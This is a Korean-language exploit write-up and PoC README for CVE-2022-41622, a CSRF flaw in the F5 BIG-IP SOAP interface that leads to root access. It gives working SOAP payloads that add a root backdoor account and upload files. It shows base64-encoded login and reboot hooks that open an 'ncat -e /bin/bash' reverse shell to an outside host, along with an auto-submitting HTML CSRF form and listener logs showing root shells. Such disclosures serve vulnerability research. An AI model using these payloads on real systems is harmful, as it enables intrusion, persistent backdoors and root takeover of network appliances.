이것은 CVE-2022-41622에 대한 개념 증명(PoC)으로, F5 Big-IP의 CSRF 취약점으로 원격 코드 실행으로 이어집니다. 사용하기가 다소 까다롭지만, 제가 가장 좋아하는 사용 사례를 안내해 드리겠습니다.

취약점

핵심 취약점은 F5 Big-IP의 SOAP 인터페이스에서 발생하는 사이트 간 요청 위조(CSRF)입니다. 이 인터페이스는 /iControl/iControlPortal.cgi를 통해 접근되며, root 권한으로 실행됩니다. 하지만 root임에도 불구하고 SELinux 정책에 의해 제한되어 익스플로잇이 어렵습니다. 그러나 아래에서 몇 가지 우회 방법을 보여드리겠습니다.

SOAP 인터페이스에는 CSRF 보호가 없으므로, 공격자는 인증된 사용자의 세션을 이용하여 지원되는 모든 SOAP 요청을 수행할 수 있습니다. 전체 WSDL 파일 목록이 포함되어 있으며, 중요한 일부 파일에 대한 페이로드를 생성했습니다.

기본 사용법

기본 사용법은 다음과 같습니다:

ruby f5-soap-exploit.rb <target> <xml_template> [username:password]

username:password는 순전히 테스트용입니다. 유효한 관리자 계정을 사용하여 SOAP 요청을 서버에 직접 보냅니다. 이것은 익스플로잇이나 PoC가 전혀 아니며, 단지 엔드포인트를 의도된 방식으로 사용하는 것입니다.

만약 username:password를 제공하지 않으면, CSRF 페이로드가 출력됩니다. 이 버그를 익스플로잇하려면 인증된 관리자가 해당 페이로드가 포함된 사이트를 방문해야 합니다. 관리자의 브라우저가 리디렉션되고 백그라운드에서 작업이 수행됩니다.

실제 페이로드는 예쁘거나 숨겨져 있지 않습니다. 실제로 익스플로잇하려면 어느 정도 노력을 기울여야 할 것입니다.

시나리오

실제 계정을 사용하여 이를 시연하겠지만, CSRF를 사용하여 이 모든 것을 익스플로잇할 수 있다는 점을 기억하세요!

루트 사용자 추가

아마도 익스플로잇하기 가장 쉬운 방법입니다. 비밀번호가 있는 사용자 계정을 추가하고, 해당 비밀번호로 ssh를 통해 로그인할 수 있습니다. 물론 노이즈도 큽니다!

(페이로드의 기본 비밀번호는 Password1입니다)

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for USERNAME [rontest]: mybackdoor
Value for FULLNAME [Ron Test]: My Backdoor
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:so
apenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">

<item>
  <user>
    <name>mybackdoor</name>
    <full_name>My Backdoor</full_name>
  </user>

  <password>
    <is_encrypted>true</is_encrypted>
    <password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
  </password>

  <permissions>
    <item>
      <role>USER_ROLE_ADMINISTRATOR</role>
      <partition>[All]</partition>
    </item>
  </permissions>

  <login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:create_user_3Response
        xmlns:m="urn:iControl:Management/UserManagement"></m:create_user_3Response>
</E:Body>
</E:Envelope>

$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
[...]

[mybackdoor@localhost:NO LICENSE:Standalone] ~ # whoami
root

로그인 시 원격 셸

SELinux의 적용을 받지 않는 /etc/profile.d의 심볼릭 링크를 발견했습니다:

# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh

timeout.sh를 교체할 수 있으며, 다음에 사용자가 로그인할 때 그 안의 코드가 실행됩니다. timeout.sh를 덮어쓰면 문제가 발생할 수 있습니다. 원래 무엇을 하는지 잘 모르겠지만, 재부팅 시 복원됩니다.

다음과 같이 timeout.sh를 교체합니다. 기본적으로 원래 timeout.sh를 복원한 후 셸을 획득합니다 (examples/ 폴더에서도 찾을 수 있습니다):

# Restore the original file
echo 'IwojIFRISVMgSVMgQU4gQVVUTy1HRU5FUkFURUQgRklMRSAtIERPIE5PVCBFRElUISEhCiMKIyBVc2UgdGhlIHRtc2ggc2hlbGwgdXRpbGl0eSB0byBtYWtlIGNoYW5nZXMgdG8gdGhlIHN5c3RlbSBjb25maWd1cmF0aW9uLgojIEZvciBtb3JlIGluZm9ybWF0aW9uLCBzZWUgdG1zaCAtYSBoZWxwIHN5cyBzc2hkLgpQU09VVD1gL2Jpbi9wcyAtLW5vLWhlYWRlcnMgLW8gdHR5IC0kJGAKaWYgWyAiJHtQU09VVDowOjN9IiA9PSAidHR5IiBdOyB0aGVuCiAgICBleHBvcnQgVE1PVVQ9MAplbHNlCiAgICBleHBvcnQgVE1PVVQ9MApmaQoK' | base64 -d > /etc/profile.d/timeout.sh

# Pop a shell
ncat -e /bin/bash 10.0.0.179 4444

요청/응답은 다음과 같습니다:

$ base64 -w0 < examples/timeout.sh
IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /var/run/config/timeout.sh
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/var/run/config/timeout.sh</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
        xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>

그런 다음 수신 대기하고, 누군가 로그인할 때까지 기다린 후 셸을 획득합니다:

$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

[..... wait .....]

Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:38588.

whoami
root

재부팅 시 원격 셸

재부팅 시 root(그리고 SELinux 제한 없이)로 실행되는 f5_update_checker라는 도구에서 셸 인젝션 취약점을 발견했습니다. 적절한 형식의 업데이트 파일과 2번째 줄에 셸 인젝션 페이로드를 포함한 /shared/f5_update_action 파일을 생성하면, 서버가 다음 부팅 후 2분 후에 실행되고 삭제됩니다.

이것은 지속성을 위한 훌륭한 백도어가 될 것입니다. :)

예시는 다음과 같습니다 (examples/ 폴더에도 있습니다):

AAA
https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`
https://localhost/error
0
0
0
0

base64로 인코딩하고 upload_file.xml 템플릿을 사용하여 업로드합니다:

$ base64 -w0 < examples/f5_update_action
QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /shared/f5_update_action
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/shared/f5_update_action</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
        xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>

리스너를 생성하고 재부팅을 기다립니다:

ron@fedora ~ $ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

[...... wait ......]

Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:55634.

whoami
root

재부팅 후 /var/log/f5_update_checker.out를 tail하여 작동 여부를 확인할 수 있습니다 (이미 호스트에 접근 권한이 있는 경우에만 작동합니다):

# cat /var/log/f5_update_checker.out
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback utility started
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Searching for EM callback file "/shared/f5_update_action"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file found -- parsing
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file action: "AAA"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file success URL: "https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file failure URL: "https://localhost/error"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess flag: "8"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure flag: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Executing EM action: AAA
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Sleeping for 2 minutes before first attempt.

CSRF를 사용한 사용자 추가

이전 예제에서는 계정을 사용하여 SOAP 엔드포인트를 실행하는 방법을 보여주었지만, 그것은 실제 익스플로잇이 아닙니다. 이제 CSRF 페이로드가 어떻게 생겼는지 살펴보겠습니다!

위와 동일한 사용자 추가 예제를 사용하지만, 계정 없이 진행합니다:

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml > examples/csrf-adduser-payload.html
Value for USERNAME [rontest]: csrfdemo2
Value for FULLNAME [Ron Test]: CSRF Demo
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]: 

$ cat examples/csrf-adduser-payload.html

      <form id="form" method="post" action="https://10.0.0.162/iControl/iControlPortal.cgi" enctype="text/plain">
        <textarea id="payload" name="&lt;!--">--&gt;&lt;soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"&gt;
&lt;soapenv:Header/&gt;
&lt;soapenv:Body&gt;
&lt;user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;
&lt;users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl"&gt;

&lt;item&gt;
  &lt;user&gt;
    &lt;name&gt;csrfdemo2&lt;/name&gt;
    &lt;full_name&gt;CSRF Demo&lt;/full_name&gt;
  &lt;/user&gt;

  &lt;password&gt;
    &lt;is_encrypted&gt;true&lt;/is_encrypted&gt;
    &lt;password&gt;$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0&lt;/password&gt;
  &lt;/password&gt;

  &lt;permissions&gt;
    &lt;item&gt;
      &lt;role&gt;USER_ROLE_ADMINISTRATOR&lt;/role&gt;
      &lt;partition&gt;[All]&lt;/partition&gt;
    &lt;/item&gt;
  &lt;/permissions&gt;

  &lt;login_shell&gt;/bin/bash&lt;/login_shell&gt;
&lt;/item&gt;
&lt;/users&gt;
&lt;/user:create_user_3&gt;
&lt;/soapenv:Body&gt;
&lt;/soapenv:Envelope&gt;
</textarea>
        <input type=submit>
      </form>

      <script>
        setTimeout(function() {
          document.getElementById("form").submit();
        }, 1000);
      </script>

해당 HTML 파일을 어딘가에 서빙하고, 관리자에게 링크를 보냅니다. 관리자가 해당 링크를 방문하면 브라우저가 리디렉션되고 일반적인 CSRF 페이로드를 사용하여 SOAP API에 접근합니다.

$ python -m http.server -d examples/
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

[..... waiting .....]

127.0.0.1 - - [19/Oct/2022 11:07:57] "GET /csrf-adduser-payload.html HTTP/1.1" 200 -
127.0.0.1 - - [19/Oct/2022 11:07:58] code 404, message File not found
127.0.0.1 - - [19/Oct/2022 11:07:58] "GET /favicon.ico HTTP/1.1" 404 -
^C

$ ssh [email protected]
([email protected]) Password: 
([email protected]) You are required to change your password immediately (root enforced)
Changing password for csrfdemo2.
(current) BIG-IP password: 
([email protected]) New BIG-IP password: 
([email protected]) Retype new BIG-IP password: 
Last login: Wed Oct 19 11:00:43 2022 from 10.0.0.179
[csrfdemo2@localhost:NO LICENSE:Standalone] ~ # whoami
root

이것은 분명히 어떤 식으로든 숨기려고 하지 않습니다. CSRF 페이로드를 크게 개선할 수 있습니다!

인기

refreshing-soap-exploit